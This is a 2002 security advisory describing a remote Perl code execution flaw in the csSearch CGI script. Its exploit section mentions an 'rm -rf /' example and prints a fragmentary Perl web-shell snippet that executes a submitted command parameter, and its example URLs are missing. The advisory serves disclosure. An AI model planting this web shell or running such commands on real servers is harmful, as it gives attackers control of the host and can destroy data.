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CSSearch Remote Command Execution Vulnerability

by Nikola Strahija on March 28th, 2002 csSearch is a website search script, written in Perl. It will run on most Unix and Linux variants, as well as Microsoft operating systems. csSearch is prone to an issue which may enable an attacker to execute Perl code with the privileges of the webserver process.

For exploitation to be successful, the attacker must pass properly URL encoded Perl code in CGI parameters via a web request. For example:


Remote: Yes

Exploit: The following example was submitted:

Configuration data is saved with the following URL.
Note that any perl code would need to be URL encoded.


For example, the classic "rm -rf /" example would be
as follows:


Here's something a little more interesting, less than
300 bytes of code that turns csSearch into a remote
web shell of sorts.

*ShowSearchForm = *Login = sub {
print "Enter
Command (eg: ls -l)";
print " ";
print "";
$in{'cmd'} && print `$in{'cmd'} 2>&1`;

URL Encoded as:


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